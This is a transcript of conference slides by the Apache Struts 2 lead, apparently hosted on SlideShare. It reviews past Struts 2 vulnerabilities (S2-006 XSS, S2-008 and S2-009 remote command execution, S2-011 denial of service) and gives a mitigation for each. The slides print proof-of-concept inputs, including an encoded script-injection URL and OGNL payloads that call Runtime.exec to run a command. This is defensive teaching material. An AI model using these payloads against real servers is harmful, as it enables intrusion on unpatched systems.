Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"

Application Security Consultant
Mar. 13, 2013
Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"
Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"
Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"
Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"
Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"
Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"
Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"
Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"
Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"
Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"
Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"
Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"
Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"
Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"
Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"
Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"
Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"
Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"
Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"
Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"
Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"
Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"
Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"
Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"
1 of 24

More Related Content

Slideshows for you

Hunting for malicious modules in npm - NodeSummitHunting for malicious modules in npm - NodeSummit
Hunting for malicious modules in npm - NodeSummitAdam Baldwin
Secure coding in C#Secure coding in C#
Secure coding in C#Siddharth Bezalwar
Tomcat连接池配置方法V2.1Tomcat连接池配置方法V2.1
Tomcat连接池配置方法V2.1Zianed Hou
node.js errorsnode.js errors
node.js errorsLearningTech
Web application SecurityWeb application Security
Web application SecurityLee C
Structured Testing FrameworkStructured Testing Framework
Structured Testing Frameworkserzar

Viewers also liked

Maximizing your coaxial (cable tv) v2Maximizing your coaxial (cable tv) v2
Maximizing your coaxial (cable tv) v2Broto Santoso
Securing Your .NET ApplicationSecuring Your .NET Application
Securing Your .NET ApplicationIron Speed
Real Life Information SecurityReal Life Information Security
Real Life Information SecurityPawel Krawczyk
RootedCON 2015 - Deep inside the Java framework Apache StrutsRootedCON 2015 - Deep inside the Java framework Apache Struts
RootedCON 2015 - Deep inside the Java framework Apache Strutstestpurposes
Cyber Threat Hunting with PhirelightCyber Threat Hunting with Phirelight
Cyber Threat Hunting with PhirelightHostway|HOSTING
Go Hack Yourself - 10 Pen Test Tactics for Blue TeamersGo Hack Yourself - 10 Pen Test Tactics for Blue Teamers
Go Hack Yourself - 10 Pen Test Tactics for Blue Teamersjasonjfrank

Similar to Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"

How secure your web framework is?How secure your web framework is?
How secure your web framework is?SoftwareMill
Whatever it takes - Fixing SQLIA and XSS in the processWhatever it takes - Fixing SQLIA and XSS in the process
Whatever it takes - Fixing SQLIA and XSS in the processguest3379bd
Strut2-Spring-HibernateStrut2-Spring-Hibernate
Strut2-Spring-HibernateJay Shah
Java sciptJava scipt
Java sciptAshish Gajjar Samvad Cell
Taming Deployment With Smart FrogTaming Deployment With Smart Frog
Taming Deployment With Smart FrogSteve Loughran
Introduction to Struts 2Introduction to Struts 2
Introduction to Struts 2Collaboration Technologies

More from Pawel Krawczyk

Top DevOps Security FailuresTop DevOps Security Failures
Top DevOps Security FailuresPawel Krawczyk
Authenticity and usabilityAuthenticity and usability
Authenticity and usabilityPawel Krawczyk
Reading Geek Night 2019Reading Geek Night 2019
Reading Geek Night 2019Pawel Krawczyk
Effective DevSecOpsEffective DevSecOps
Effective DevSecOpsPawel Krawczyk
Unicode  the hero or villain Unicode  the hero or villain
Unicode the hero or villain Pawel Krawczyk
Get rid of TLS certificates - using IPSec for large scale cloud protectionGet rid of TLS certificates - using IPSec for large scale cloud protection
Get rid of TLS certificates - using IPSec for large scale cloud protectionPawel Krawczyk

Recently uploaded

GDSC23 SAC - Info Session GDSC.pptxGDSC23 SAC - Info Session GDSC.pptx
GDSC23 SAC - Info Session GDSC.pptxSAC
AI and ML Series - Introduction to Generative AI and LLMs - Session 1AI and ML Series - Introduction to Generative AI and LLMs - Session 1
AI and ML Series - Introduction to Generative AI and LLMs - Session 1DianaGray10
Info Session GDSC  Mepco Sechenk Chapter.pptxInfo Session GDSC  Mepco Sechenk Chapter.pptx
Info Session GDSC Mepco Sechenk Chapter.pptxDURAIVIGNESHC
An Introduction To Using ChatGPT For BusinessAn Introduction To Using ChatGPT For Business
An Introduction To Using ChatGPT For BusinessPaul Nguyen
Orbyfy Grid e-Services_vFx.pdfOrbyfy Grid e-Services_vFx.pdf
Orbyfy Grid e-Services_vFx.pdfOrbyfy
zkStudyClub - Lasso/Jolt (Justin Thaler, GWU/a16z)zkStudyClub - Lasso/Jolt (Justin Thaler, GWU/a16z)
zkStudyClub - Lasso/Jolt (Justin Thaler, GWU/a16z)Alex Pruden

Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"

  1. “…  use  the  source  …”   Based  on  Apache  Struts  2  

  2. ¡  About  me   ¡  What  is  the  Apache  Struts  2   ¡  Hacking  the  framework   §  S2-­‐006  aka  Client  side  code  injection   §  S2-­‐008  aka  Remote  Command  Execution   §  S2-­‐009  aka  RCE  strikes  back   §  S2-­‐011  aka  DoS   §  Sx-­‐xxx  aka  vulnerability  or  not  

  3. ¡  Apache  Struts  2  Lead   ¡  Member  of  Apache  Software  Foundation   ¡  Creative  Software  Engineer  @  SoftwareMill   ¡  Blogger   ¡  IntelliJ  IDEA  addict  J   ¡  JetBrains  Development  Academy  Member   ¡  @lukaszlenart   ¡  Husband,  father  J  

  4. ¡  Struts  2  is  a  new  kid  on  the  block   §  No  single  line  shared  with  Struts  1   §  No  form  beans,  no  session-­‐scoped  actions   §  Pure  POJOs,  Interface  steering   §  Strongly  interceptor  oriented   §  Highly  extendable  –  lots  of  plugins   §  Designed  to  be  customizable   §  Powerful  OGNL  expression  language  

  5. #ognl   %{…}   ${…}  

  6. struts.xml   index.jsp   IndexAction.properties  

  7. ¡  When  Dynamic  Method  Invocation  is  enabled   action  name  is  generated  base  on  the   provided  request   ¡  Non-­‐existing  action  will  generate  an  error   page  with  injected  client  code   §  Issue  is  specific  to  Weblogic  server   ¡  http://struts.apache.org/2.x/docs/s2-­‐006.html  

  8. ¡  /HelloWorld.action?action%3Alogin!login %3AcantLogin%3Cscript%3Ealert %28window.location%29%3C%2Fscript%3E %3Dsome_value=Submit  

  9. ¡  Disable  DMI   §  <constant   name="struts.enable.DynamicMethodInvocation"   value="false"  />   ¡  Upgrade  to  Struts  2.2.3   ¡  Don’t  use  Weblogic  ;-­‐)  

  10. ¡  Conversion  error  is  evaluated  as  expression   ¡  Cookie  name  is  evaluated  as  expression   ¡  With  “!”  (bang)  you  can  access  any  public   method  of  action   §  Only  when  Dynamic  Method  Invocation  is  set  to   true,  is  set  to  true  by  default       ¡  http://struts.apache.org/2.x/docs/s2-­‐008.html    

  11. ¡  /hello.action?id='%2b(new  Object())%2b’   ¡  Cookie:   @java.lang.Runtime@getRuntime().exec()=1   ¡  /mywebapp/recover!getPassword.action  

  12. ¡  Disable  DMI   §  <constant   name="struts.enable.DynamicMethodInvocation"   value="false"  />   ¡  Review  your  action  public  methods   ¡  Use  Strict  DMI  –  list  of  allowed  methods   ¡  DMI  disabled  by  default  as  from  Struts  2.3.1   ¡  Upgrade  to  Struts  2.3.1!  

  13. ¡  An  arbitrary  code  can  be  executed  on  server   §  Encoded  value  of  parameter  is  parsed  as  an  OGNL   expression   ¡  http://struts.apache.org/2.x/docs/s2-­‐009.html  

  14. ¡  /action?foo= %28%23context[%22xwork.MethodAccessor.deny MethodExecution%22]%3D+new +java.lang.Boolean%28false %29,%20%23_memberAccess[%22allowStaticMeth odAccess%22]%3d+new+java.lang.Boolean%28true %29,%20@java.lang.Runtime@getRuntime %28%29.exec%28%27mkdir%20/tmp/PWNAGE %27%29%29%28meh%29&z[%28foo %29%28%27meh%27%29]=true  

  15. ¡  Stronger  pattern  for  parameter  names   §  OGNL  only  sets  value,  does  not  evaluate  it   ¡  Workaround   §  add  a  filter  to  filter  out  all  the  suspicious  looking   parameters/headers   ¡  Upgrade  to  Struts  2.3.1.2  

  16. ¡  Denial  of  Service   §  Long  request  parameter  name  is  evaluated  by   OGNL  and  consumes  significant  CPU  cycle   ¡  http://struts.apache.org/2.x/docs/s2-­‐011.html  

  17. ¡  POST  /home   veryveryveryevenveryveryveryveryveryveryv eryveryevenevenveryveryveryveryloooooooo ooooooongpramaterename=1   §  300  request   §  parameter  name  length  =  1000000  

  18. ¡  Add  parameter  name  length  limit   §  By  default  100  characters   §  User  can  change  the  limit     ¡  Workaround   §  add  a  filter  to  filter  out  all  the  parameters  longer   than  xxx   ¡  Upgrade  to  Struts  2.3.4.1  

  19. ¡  Struts  2  allows  nested  OGNL  expressions   §  #  {%{java.lang.System@out.println(“hello”)}}   §  Users  do  not  escape  data   ¡  Example  –  please  judge  

  20. ¡  Check  how  vulnerable  your  current  web   framework  is   ¡  Find  a  security  vulnerability,  try  to  inject   JavaScript   §  Report  back  to  the  project  team  

  21.     This  is  the  end,  questions?   @lukaszlenart   lukaszlenart@apache.org